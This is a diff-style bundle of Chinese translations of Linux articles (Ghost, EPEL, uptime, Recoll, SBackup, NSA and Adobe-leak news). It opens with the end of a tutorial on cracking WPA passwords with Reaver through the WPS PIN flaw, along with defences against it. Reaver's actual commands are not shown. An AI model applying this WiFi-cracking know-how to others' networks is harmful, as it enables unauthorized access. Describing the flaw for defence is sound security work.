除此以外你可以在Reaver运行的任意时候按下Ctrl+C中断工作。这样会退出程序但是Reaver下次启动的时候会自动恢复继续之前的工作前提是只要你没有关闭或重启电脑如果你直接在live DVD里运行关闭之前的工作都会丢失
###Reaver的工作原理###
你已经学会了使用Reaver现在让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置WiFi Protected Setup - 下文中简称为WPS的一个弱点WPS是许多路由器上都有的一个功能可以为用户提供简单的配置过程它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷最终的结果就是只要有足够的时间它就能破解WPA或WPA2的密码。
关于这个缺陷的具体细节,参看[Sean Gallagher's excellent post on Ars Technica][8]。
###如何防范Reaver攻击###
该缺陷存在于WPS的实现过程中因此如果能够关闭WPSWiFi就是安全的或者更好的情况是你的路由器天生就木有这一功能。但不幸的是正如Gallagher[在Ars的文章中所指出的][9]即使在路由器设置中人为关掉了WPSReaver仍然能够破解其密码。
> 在一次电话通话中Craig Heffner说道很多路由器即使关闭WPS都无法有效防范攻击。他和同事一起测试过所有的Linksys和Cisco Valet无线路由器都是如此。“在所有的Linksys路由器上你甚至无法手动关闭WPS”他说尽管Web界面中有关闭WPS配置的按钮但是“它仍然会自动打开极易受到攻击”。
因此方法一失败。也许你可以亲自尝试把你的路由器WPS关闭然后测试一下Reaver是否还能成功破解。
你也可以在路由器中设置一下MAC地址过滤只允许指定的白名单设备连接你的网络但是有经验的黑客还是能够检测出设备的白名单MAC地址并使用MAC地址仿冒你的计算机。
方法二:失败!那到底该怎么办?
我的建议是,我曾经在我的路由器上安装了开源路由固件[DD-WRT][10]成功防御了Reaver攻击。因为[DD-WRT天生就是不支持WPS的][11]因此这成为了又一个我热爱自由软件的原因。如果你也对DD-WRT感兴趣可以看一下这里的[设备支持列表][12]看是否支持你的路由器设备。除了安全上的升级DD-WRT还可以[监控网络行为][13][设置网络驱动器][14][拦截广告][15][增强WiFi信号范围][16]等,它完全可以[让你60美刀的路由器发挥出600美刀路由器的水平][17]
--------------------------------------------------------------------------------
via: http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack
[2]:http://code.google.com/p/reaver-wps/
[3]:http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1
[4]:http://www.backtrack-linux.org/downloads/
[5]:http://www.backtrack-linux.org/downloads/
[6]:http://code.google.com/p/reaver-wps/
[7]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack
[8]:http://arstechnica.com/business/news/2011/12/researchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars
[9]:http://arstechnica.com/business/news/2012/01/hands-on-hacking-wifi-protected-setup-with-reaver.ars
[10]:http://dd-wrt.com/
[11]:http://code.google.com/p/reaver-wps/issues/detail?id=44
[12]:http://dd-wrt.com/wiki/index.php/Supported_Devices
[13]:http://lifehacker.com/5821773/how-to-monitor-your-internet-usage-so-you-dont-exceed-your-data-cap
[14]:http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt
[15]:http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt
[16]:http://lifehacker.com/5563196/turn-your-old-router-into-a-range+boosting-wi+fi-repeater?tag=ddwrt
[17]:http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router

View File

@ -0,0 +1,86 @@
如何在Linux平台上安装Ghost博客平台
===
[Ghost][1]是一个相对较新的博客发布平台它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目][2]。尽管WordPress依然是网上主流的博客工具但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台发展到现在已经逐渐变得笨重、复杂以至于难以维护。但与此同时仅仅诞生才几个月的Ghost坚持以用户为中心打造精雕细琢的用户界面承诺要做一个纯粹的博客平台。
在本教程中,我将描述**如何在Linux中设置Ghost博客平台**。
###在Linux上安装Ghost
Ghost是使用Node.js框架编写的。因此首先你需要在你的Linux系统上[安装Node.js框架][3]。确保Node.js的版本为0.10或者更高。接下来,登录入[http://ghost.org][1](需要注册)然后下载Ghost的源代码。记着按照下面的步骤安装
$ sudo mkdir -p /var/www/ghost
$ sudo unzip ghost-0.3.3.zip -d /var/www/ghost
$ cd /var/www/ghost
$ sudo npm install --production
###启动前先配置Ghost
在你启动Ghost之前按照下面的步骤在/var/www/ghost/config.js位置创建它的配置文件。使用你的主机IP地址替换掉“YOUR_IP”。
$ cd /var/www/ghost
$ sudo cp config.example.js config.js
$ sudo sed -i 's/127.0.0.1/YOUR_IP/g' config.js
###以开发者模式尝试运行Ghost
搞到这一步你就可以准备去启动Ghost咯。
要注意的是Ghost可以以两种不同的模式运行“开发者模式”和“用户模式”。为了安全起见Ghost将两种模式的配置文件/var/www/ghost/config.js分开存放。例如两种不同的模式使用不同的数据库文件例如位于/var/www/content/data的ghostdev.db和ghost.db
使用以下命令就可以启动Ghost。Ghost默认以开发者模式运行。
$ cd /var/www/ghost
$ sudo npm start
Ghost成功运行后终端中会有以下输出信息告诉你Ghost正运行在<YOUR_IP>:2368译者注2368为端口号
[![](http://farm8.staticflickr.com/7317/10881189204_d714f11321_z.jpg)][4]
在你本机的浏览器中键入 http://<YOUR_IP>:2368身份校验后你就会看到Ghost的初始页面。
[![](http://farm4.staticflickr.com/3750/10881348733_f77d220de6_z.jpg)][5]
###以用户身份启动Ghost
在你确认Ghost运行完好后按下Ctrl+C停用开发者模式下的Ghost。现在你就可以在用户模式下启动Ghost咯。当你以用户模式运行Ghost时你就可以使用Node.js呼叫forever模块了forever模块允许你以守护进程运行Ghost还可以让你以后台进程运行Ghost。
安装forever模块
$ sudo npm install forever -g
最后你就可以以用户模式像下面这样运行Ghost
$ cd /var/www/ghost
$ sudo NODE_ENV=production forever start index.js
检查一下Ghost的数据库文件是否成功以用户模式创建/var/www/ghost/content/ghost.db
你也可以检查一下forever活动进程列表
$ sudo forever list
-
info: Forever processes running
data: uid command script forever pid logfile uptime
data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741
假如你看到以上信息意味着Ghost已经成功以后台进程运行咯。
想停止Ghost守护进程可以运行以下命令
$ cd /var/www/ghost
$ sudo forever stop index.js
--------------------------------------------------------------------------------
via: http://xmodulo.com/2013/11/install-ghost-blogging-platform-linux.html
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://ghost.org/
[2]:http://www.kickstarter.com/projects/johnonolan/ghost-just-a-blogging-platform
[3]:http://ask.xmodulo.com/install-node-js-linux.html
[4]:http://www.flickr.com/photos/xmodulo/10881189204/
[5]:http://www.flickr.com/photos/xmodulo/10881348733/

View File

@ -0,0 +1,100 @@
如何在CentOS 5/6上安装EPEL 源
================================================================================
EPEL 是什么?
EPEL (Extra Packages for Enterprise Linux企业版Linux的额外软件包) 是Fedora小组维护的一个软件仓库项目为RHEL/CentOS提供他们默认不提供的软件包。这个源兼容RHEL及像CentOS和Scientific Linux这样的衍生版本。
我们可以很容易地通过yum命令从EPEL源上获取上万个在CentOS自带源上没有的软件。EPEL提供的软件包大多基于其对应的Fedora软件包不会与企业版Linux发行版本的软件发生冲突或替换其文件。
更多关于EPEL 项目的细节可以到以下网站获取:[https://fedoraproject.org/wiki/EPEL][1]
在文本中我将展示在CentOS下如何安装EPEL源
> 提示 - RHEL/CentOS系统有许多第三方源比较流行的比如RpmForgeRpmFusionEPELRemi等等。
>
> 然而需要引起注意的是如果系统添加了多个第三方源可能会因此产生冲突——一个软件包可以从多个源获取一些源会替换系统的基础软件包从而可能会产生意想不到的错误。已知的就有Rpmforge与EPEL会产生冲突。
>
> 对于这些问题我们建议,调整源的优先权或者有选择性的安装源,但是这需要复杂的操作,如果你不确定如何操作,我们推荐你只安装一个第三方源。
## 在CentOS 上安装EPEL ##
要想安装EPEL我们先要下载EPEL的rpm安装包。
CentOS/RHEL下的6.x和5.x版本下载页面如下
[http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html][2]
[http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html][3]
以上网址可能会被重定向到特定的镜像站而加快下载速度。这个页面包含可以直接获取到rpm包的下载链接。直接的下载链接如下
[http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm][4]
[http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm][5]
根据你的CentOS 版本来选择正确的下载地址。
请注意EPEL 的安装包是独立编译的所以它可以安装在32位和64位系统中。
### 1. 确认你的CentOS 的版本 ###
首先通过以下命令确认你的CentOS 版本
$ cat /etc/redhat-release
CentOS release 6.4 (Final)
### 2. 下载EPEL 的rpm 安装包 ###
现在从上面的地址下载CentOS 版本所对应的EPEL 的版本
$ wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
### 3. 安装EPEL ###
通过以下命令安装EPEL 软件包
$ sudo rpm -ivh epel-release-6-8.noarch.rpm
$ sudo rpm -ivh epel-release*
### 5. 检查EPEL 源 ###
安装好EPEL 源后用yum 命令来检查是否添加到源列表
# yum repolist
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* base: mirrors.vonline.vn
* epel: buaya.klas.or.id
* extras: centos-hn.viettelidc.com.vn
* updates: mirrors.fibo.vn
repo id repo name status
base CentOS-6 - Base 6,381
epel Extra Packages for Enterprise Linux 6 - x86_64 10,023
extras CentOS-6 - Extras 13
nginx nginx repo 47
updates CentOS-6 - Updates 1,555
repolist: 18,019
EPEL已经在repo 后列出并且显示提供了上万个软件包所以EPEL 已经安装到你的CentOS了。
EPEL源的配置安装到了 **/etc/yum.repos.d/epel.repo** 文件。
现在来试一下从EPEL 获取软件包
$ sudo yum install htop
--------------------------------------------------------------------------------
via: http://www.binarytides.com/setup-epel-repository-centos/
译者:[NearTan](https://github.com/NearTan) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://fedoraproject.org/wiki/EPEL
[2]:http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html
[3]:http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html
[4]:http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
[5]:http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm

View File

@ -0,0 +1,51 @@
Linux Uptime 命令,让你知道你的系统运行了多久
================================================================================
![](http://linoxide.com/wp-content/uploads/2013/11/linux-uptime-command.png)
对于一些人来说系统运行了多久是无关紧要的,但是对于服务器管理员来说,这是相当重要的信息。服务器在运行重要应用的时候,必须尽量保证长时间的稳定运行,有时候甚至要求零宕机。那么我们怎么才能知道服务器运行了多久呢?
在Linux 下我们可以使用uptime 命令而且此命令不必使用root 权限。uptime 命令在系统中已经默认安装了。
语法如下:
$ uptime
你会在屏幕上看到如下显示:
![](http://linoxide.com/wp-content/uploads/2013/11/uptime.png)
这些信息保存在/proc/uptime 文件中虽然是以文本方式保存但是这些数据却不能直接显示这就需要我们使用uptime 命令来翻译它。
以下是如何解读uptime 提供的信息:
### 系统时间 ###
在图1中左起第一条信息是14:04:39这就是当前系统时间以24小时格式输出。
### 系统运行时间 ###
第二条信息**Up 1004 days, 12:20**这是显示你的系统运行时间。图1 显示你的系统已经运行了1004天12小时20分钟如果你的系统没有运行超过24小时这里将只会显示小时分钟或者只显示分钟。注意图2、图3的信息当系统重启后将会清零。
![](http://linoxide.com/wp-content/uploads/2013/11/uptime_minutes.png)
![](http://linoxide.com/wp-content/uploads/2013/11/uptime_hours1.png)
### 已登录用户的数量 ###
第三部分的信息是显示已登陆用户的数量。在图1中显示的是**1 user** 即当前登录用户数量。当多个用户在同时登陆系统时uptime 命令将告诉你用户的数量。
### 平均负载量 ###
最后一个信息是系统的平均负载量。回到图1你看到这样带两位小数的数字**0.25, 0.25, 0.19**可以换算成百分比即0.25和0.19分别代表着25%和19%。0.25, 0.25, 0.19分别代表着过去1分钟、5分钟、15分钟系统的平均负载量。负载量越低意味着你的系统性能越好。
这就是**uptime** 命令的日常使用指导,如果想获取更详细的信息,请通过输入**man uptime** 进入uptime 命令的manual 页面来查看。
你的机器已经运行多久了贴出你的uptime给大家看看吧。
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/linux-uptime-command/
译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,40 @@
这是玩笑吗Linux之“祖父”认为NSA曾要求在Linux中植入后门
================================================================================
![](http://www.omgubuntu.co.uk/wp-content/uploads/2011/01/DSC01782.jpg)
*照片中为大神Linus(左)和Benjamin Humphrey译者注该小伙儿为本文原文出处OMGUbuntu的联合创始人之一现已离开OMGUbuntu照片摄于2011年*
美国国家安全局([**NSA**][1]被称他们曾经要求Linux的创始人Linus Torvalds在GNU/Linux中建立一个他们可以访问的“后门”。
这绝非谣言Linus的父亲Nils Torvalds如此说道。译注也许Nils可以算做是Linux的祖父好吧我是标题党啦啦啦~ :D 无论如何,感谢他生了一个好儿子!
作为欧洲议会MEP的成员之一Nils出席了最近关于“欧盟公民监视问题”的委员会质询会议。根据爱德华·斯诺登泄露出的一些NSA文档委员会对文档中列出的一些公司代表就所谓的“合作”进行了质询。
同属欧洲议会成员的瑞典盗版党主席Christian Engström就质问微软的发言人其公司是否曾主动为NSA在他们的系统中植入过“后门”译者注盗版党是一个以废除专利制度、维护公民隐私为宗旨的民间自发政党最先在瑞典出现传送门→[盗版党百度百科](http://baike.baidu.com/view/1104760.htm)。之后Nils Torvalds[说道][2]
> 我的长子[Linus Torvalds]也被问到了同样的问题 —— “NSA是否曾要求他植入后门当时他口中回答“No”但同时却在点头。我的儿子有某种程度上的法律自由他已经给出了正确的回答…… 每个人都明白NSA的确曾要求他这么干过
如果这段描述让你觉着耳熟,你可以[看下Youtube上关于这一段的视频片段][3]。后来Linus坚称他当时只是开玩笑[NSA并没有为此找过他][4]。
**但是根据11月11号质询会议上的发言看来他的父亲并不这么想。**
根据文档Google、[Yahoo!][5]、Facebook[的确还有微软][6]都在NSA要求提供“后门”的合作公司之列这一发现虽不足以震惊全世界但事实上从大局考虑还是有意义的。毕竟凭什么说NSA不会要求Linus这么做呢
Nils并没有解释Linus具体是如何回应的 —— 但我估计,这说明了两个问题,首先我们至少可以肯定的一点是,开源世界一直在努力防范类似事情成为可能;
其次如果真的有某些漏洞存在NSA长长的触手早就已经把你的压箱底私房钱翻个底儿掉了。
--------------------------------------------------------------------------------
via: http://www.omgubuntu.co.uk/2013/11/nsa-ask-linus-torvalds-include-backdoors-linux-father-says-yes
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.nsa.gov/
[2]:http://youtu.be/EkpIddQ8m2s?t=3h09m06s
[3]:http://www.youtube.com/watch?v=7gRsgkdfYJ8
[4]:http://mashable.com/2013/09/19/linus-torvalds-backdoor-linux/
[5]:http://www.telegraph.co.uk/technology/internet-security/10459081/Yahoo-to-encrypt-internal-traffic-following-NSA-revelations.html
[6]:http://www.bbc.co.uk/news/technology-23285642

View File

@ -0,0 +1,25 @@
一个有关Adobe密码泄漏的字迷游戏
====
一个有关**Adobe**公司密码泄漏的字迷游戏现在可以在[http://zed0.co.uk/crossword/][1]上玩咯。作者创建这个游戏的初衷是为了告诉公众容易记忆的密码是非常不安全的你不应该信任那些公司们会按照所谓最佳实践来存储你的密码例如Adobe。
这个字迷游戏使用了从Adobe公司泄漏出来的最常见的1000个密码从而提醒你什么样的密码是不够强壮的容易被破解的。假如你使用的密码就是字迷游戏中的这种密码而且你还把它作为你的全球通用密码那么你应该立即更换掉它。这样的密码非常糟糕赶紧去更换掉它趁现在还不太晚。
至于游戏本身,不但好玩而且有用。游戏作者介绍说,他的灵感来源于[xkcd #1286: Encryptic][2],他还说把这些泄漏的密码放出来并不会造成太大的安全隐患,因为很多人很早以前就能猜中这样的密码。
你还不知道Adobe公司的云安全事件
不久前Adobe公司成了网络攻击者的目标。Adobe公司的安全团队发现了一起针对Adobe公司内部网络的复杂攻击攻击获取了Adobe公司的客户信息并盗取了数个Adobe公司产品的源代码。根据Adobe公司官方博客上的安全告示攻击者盗取了Adobe用户的账户ID以及登录密码。但是Adobe公司的安全团队并不认为与账户关联的信用卡信息或者资金账户信息会一并被盗取。
你可以点击[这儿][3]阅读更多相关的安全公告。
--------------------------------------------------------------------------------
via: http://www.unixmen.com/play-crossword-game-adobes-leaked-passwords/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://zed0.co.uk/crossword/
[2]:http://www.xkcd.com/1286/
[3]:http://www.unixmen.com/illegal-access-adobe-source-code/

View File

@ -0,0 +1,132 @@
Recoll:Unix和Linux桌面的文本搜索工具
===
[Recoll][1]是一个Unix和Linux桌面的文本搜索工具。Recoll可以搜索文件名和文件内的关键字。
Recoll可以为你做到以下这些。
- 它可以搜索任何格式的文件
- 支持通配符
- 可以依据文件的作者、类型、大小和格式等条件进行搜索
- 可以搜索存储在任何位置的文件,例如文件、归档文件、邮件附件等
- 支持桌面和网站集成
- 具备火狐插件可索引web页的历史
- 点击一下搜索结果就可以在本地编辑器内打开或者显示文本预览
- 它是免费的开源的在GPL许可下发布
###在Ubuntu/Linux Mint上安装Recoll
Recoll在Ubuntu仓库里可以找到。然而最好添加Recoll的仓库以便安装最新版本。
使用以下命令添加Recoll仓库
sudo add-apt-repository
使用命令更新软件列表:
sudo apt-get update
现在就可以使用下面的命令安装Recoll。
sudo apt-get install recoll
对于其它的发行版,可以去[下载页面][2]下载源代码并编译安装。
###启动Recoll
Recoll可以从Dash或者菜单中启动。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Menu_0014.jpg)
第一次启动时你需要索引整个home目录。依据你 home 目录里储存的东西的多少,需要的时间不等。按下**Start indexing now**按钮开始索引。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Recoll_002.jpg)
假如你想更多的自定义索引,可以调整索引配置和索引计划。要做到这一点,只需要点击一下**Indexing configuration**或者**Indexing schedule**链接。假如你要稍后再去配置你可以在Preferences(首选项)菜单里配置这些选项。
一旦索引完成,你就可以搜索文件/文件夹了。结果将根据相关性展现,并显示匹配的一小部分内容。
###配置
正如上面提到的假如你想更多的控制索引的细节你可以调节Recoll的索引功能。
在Recoll的工具中有两个配置项
1. 索引配置
2. 索引计划
让我们来看一下上面这两个的简短描述。
**索引配置**可以让你索引时决定包含哪些目录以及排除哪些目录。默认情况下索引时将包含整个home目录。你可以在这儿从索引中添加或移除目录。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/home-sk-.recoll-_003.jpg)
你也可以定义web历史队列以及储存web页面的最大容量。
**index schedule**则是可以让制定一个计划以便于进行自动索引或者当你登陆系统后就进行实时索引。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Index-scheduling-setup_004.jpg)
Recoll支持两种索引计划
**Cron任务** - 决定什么时候开始运行以及写入Crontab键值。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Cron-Dialog_006.jpg)
以上这个屏幕截图中Recoll的cron任务会在每天上午12点的时候执行。设置完cron任务后点击enable键激活它就可以咯。
**启动时实时索引** - 决定是否当你登陆入系统时进行实时索引。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Real-time-indexing-automatic-start_007.jpg)
激活这一选项recoll的守护程序都会随系统启动。要注意的是这一选项只有在默认索引设置的情况下才可用。
###基本搜索
现在你已经对Recoll了解的足够多了。是时候去搜索一下文件或者文件夹了。这个应用的美妙之处就在于它既可以搜索文件名还可以搜索文件内的关键词。
在Recoll的用户界面中在顶部右边的搜索栏中键入要搜索的关键字然后点击Search按钮。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Recoll_008.jpg)
如你在上图所见精确相关的内容将会显示还能预览到一小部分内容。你可以点击Open按钮直接打开搜索到的文件或者在打开它之前使用预览按钮预览它。
你还可以过滤搜索结果,使用分类例如媒体、消息、其它、演示文档、电子表格或者文本等。更重要的是,你还可以选择匹配任一项、全部项、文件名或者语言等的搜索结果。
###高级搜索
点击菜单栏中的高级搜索图标或者前往**Tools->Advanced Search**。这将打开一个新的对话窗口。在这儿你可以附加更多的限制条件来进行搜索。例如我可以搜索文件内容里含有关键字“hp”以及文件名含有“storage”的文件。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Recoll_008.jpg)
这将找到并显示文件内含有关键字“hp”且文件名含有“storage”的文件。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Recoll_012.jpg)
###Unity桌面以及网站集成
这个应用支持桌面集成以及网站集成。假如你要把它集成到你的Ubuntu的Unity桌面中去你可以用下面的命令安装**recoll-lens**。
sudo apt-get install recoll-lens
请注意lens限制显示结果最多显示20条。假如你要显示更多数目的搜索结果编辑**rclsearch.py**,修改“**if actual_results >= 20:**”这一行就可以咯。
假如你使用火狐浏览器,要去搜索你每天访问的浏览历史,你可以使用这个[火狐扩展][3]。这个火狐扩展可以和Recoll一起工作去索引你全天浏览的网站。在安装完这个扩展之后在Recoll的索引配置中从web历史标签页中激活它就可以咯。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/home-sk-.recoll-_013.jpg)
所有的Linux都在他们的文件管理器中内建了搜索功能以便于尽可能容易的搜索文件/文件夹。对于那些不满足于内置搜索功能并想寻找更高级文本搜索工具的人来说Recoll是个值得一试的工具。我认为这真是个容易使用且功能强大的工具对基本搜索如此对高级搜索也是如此.
欢呼吧!
如有问题请参考我们的Q/A论坛 : http://ask.unixmen.com/ 。
--------------------------------------------------------------------------------
via: http://www.unixmen.com/recoll-text-searching-tool-linux-desktops/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.recoll.org/
[2]:http://www.lesbonscomptes.com/recoll/download.html
[3]:http://sourceforge.net/projects/recollfirefox/

View File

@ -0,0 +1,173 @@
SBackup: 一个Linux下的简单备份软件
================================================================================
**SBackup** 是一个简单易用的开源备份软件。它可以备份任意文件或者文件夹的一部分。所有的配置文件可以通过 Gnome 界面进行访问。文件和路径可以直接通过正则表达式进行添加和排除。它支持本地备份和远程备份。虽然它看起来简单,但是它有着许多常见的高级备份功能。
### 特点 ###
SBackup 可以完成以下工作
- 可以创建压缩和未压缩的备份
- 可以把未压缩的备份分割成多份文件
- 支持多份备份配置。每个人都可以根据自己的需求创建并修改自己的配置文件,但是不能删除默认配置文件
- 有多种选项,如日志、邮件通知、以状态图标的形式展现和提醒
- 支持计划任务备份和手动备份
- 可以备份到本地(如硬盘),也可以备份到远程(如通过 FTP 访问 NAS
### 在 Ubuntu、Linux Mint 和 Debian 上安装 SBackup ###
SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得,所以只要运行以下命令即可安装
sudo apt-get install sbackup
### 运行 SBackup ###
通过 Dash 或者 Menu 打开 SBackup
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Menu_0011.jpg)
将会看到如下界面
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_002.jpg)
### SBackup 配置 ###
最初的 SBackup 没有任何用户自定义的配置文件,只有默认的配置文件。需要注意的是,用户不能删除默认的配置文件。若要创建一个新的配置文件,点击 Tools -> Profile Manager将看到如下窗口
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_003.jpg)
单击 Add 来创建新配置文件例子的文件用“sk”来命名
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_004.jpg)
现在已经创建了新的配置文件。若要设置配置,先选择配置文件,再单击 Edit
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Configuration-Profile-Manager_005.jpg)
现在看到 SBackup 的配置文件已经被切换到“sk”
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_006.jpg)
当然,也可以根据不同人的需求来修改默认配置文件
**注意事项**:如果你用普通用户运行 SBackup计划任务备份不能生效你需要用 root 用户来运行。如上图所示,因为我是以普通用户运行 Sbackup所以 Schedule 选项是灰色不可选中状态。
在本教程中,我将以 root 权限运行 SBackup并且使用的是**默认配置**
打开终端,运行以下命令来以 root 权限运行 SBackup
sudo sbackup-config-gtk
上面的命令将以 root 权限打开默认配置的 SBackup
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_001.jpg)
#### General选项卡 ####
在 General 选项内你可以选择多久进行一次完整备份默认是7天。每7天 SBackup 将会进行一次完整的备份。你也可以选择备份的压缩格式。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0021.jpg)
#### Include选项卡 ####
这个选项不需要解释太多,你可以添加 SBackup 要备份的文件或目录。这里可以选择备份单独的文件或者完整的目录我删除了所有的目录仅仅保留了“Resume”
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0031.jpg)
#### Exclude选项卡 ####
如同 Include 选项,我们可以选择备份时排除的文档和目录,只需要选择要排除的文档和目录的路径即可。在默认配置下,/media, /var/run/, /var/cache/, /var/spool/ 和 /vat/tmp/ 目录均被排除
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0041.jpg)
更进一步的是,你可以增加备份时排除文件的类型,像 mp3 和 avi 等等。在默认配置下mp3, avi, mpeg, mkv, ogg 和 iso 是被排除不被备份的。如果你想备份这些文件,只要选中然后点击 remove。当然如果要排除其他类型的文件只需要点击 add 然后增加。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_005.jpg)
在默认配置下SBackup 不会备份.gvfs, .thumbnails, .Trash 和 .cache 这些文件夹
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0061.jpg)
同时你也可以在备份时根据文件大小来排除某些文档和文件夹这里我排除了体积超过100MB 的文档和文件夹。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0071.jpg)
#### Destination选项卡 ####
在这里你可以选择备份存放的路径,正如我之前提到的,你可以把备份的文档或文件夹存放在硬盘或者远程的 FTP 或 NAS。这里我将把备份保存在 /home/sk/My Backup 目录下。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_019.jpg)
**提示:** 在备份前确认目录有足够的空间保存备份文件
#### Schedule选项卡 ####
在这个选项中,你可以设定具体的备份时间。点击 **Simple** 选项,可以按每小时、每日、每周、每月来设置你的计划备份时间。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_010.jpg)
如果你擅长使用命令行来计划任务,则可以使用 cron 来操作。当你开启每日备份计划时cron 命令在 **/etc/cron.daily/** 目录中创建计划文件
sudo ls -l /etc/cron.daily/sbackup
示例的输出显示
lrwxrwxrwx 1 root root 33 Nov 8 15:34 /etc/cron.daily/sbackup -> /usr/share/sbackup/sbackup-launch
#### Purging选项卡 ####
在这个选项里可以删除超过一定时间的备份文件。在默认配置下超过30天的备份文件将被删除。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0111.jpg)
#### Report选项卡 ####
Report 是最后一个选项卡在这里你可以设置接收备份完成通知的邮箱。输入你的邮箱ID、SMTP服务地址、邮箱用户名、密码后点击 Test mail settings。需要留意的是在测试邮箱设置前点击工具栏中的Save Configuration按钮保存你的配置。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0121.jpg)
你将在完成测试邮箱设置后看到 “Test Successful” 字样。
### 开始备份 ###
点击 SBackup 工具栏上的 **Make Backup now button** 按钮立即开始备份。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Selection_015.jpg)
弹出一个窗口,点击 Yes 开始创建备份文件。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/sbackup-config-gtk_024.jpg)
现在备份的进程已经在后台开始运行,你可以通过在通知栏上的状态显示来监视备份的进程。
完成备份之后,关闭 SBackup ,并且确认备份文件保存在指定的目录。例子中我保存的目录是/home/sk/My Backup。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Selection_020.jpg)
### 恢复文件 ###
在终端中运行命令
sudo sbackup-restore-gtk
在 SBackup 的恢复窗口,选择可用的备份日期和快照,在 Restoration Management 面板中选择任意一个要恢复的文件,单击 **restore** 保存到默认位置或者单击 **restore as** 保存到指定的位置。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_023.jpg)
